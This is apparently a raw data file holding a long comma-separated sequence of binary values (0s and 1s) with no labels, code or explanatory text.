1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 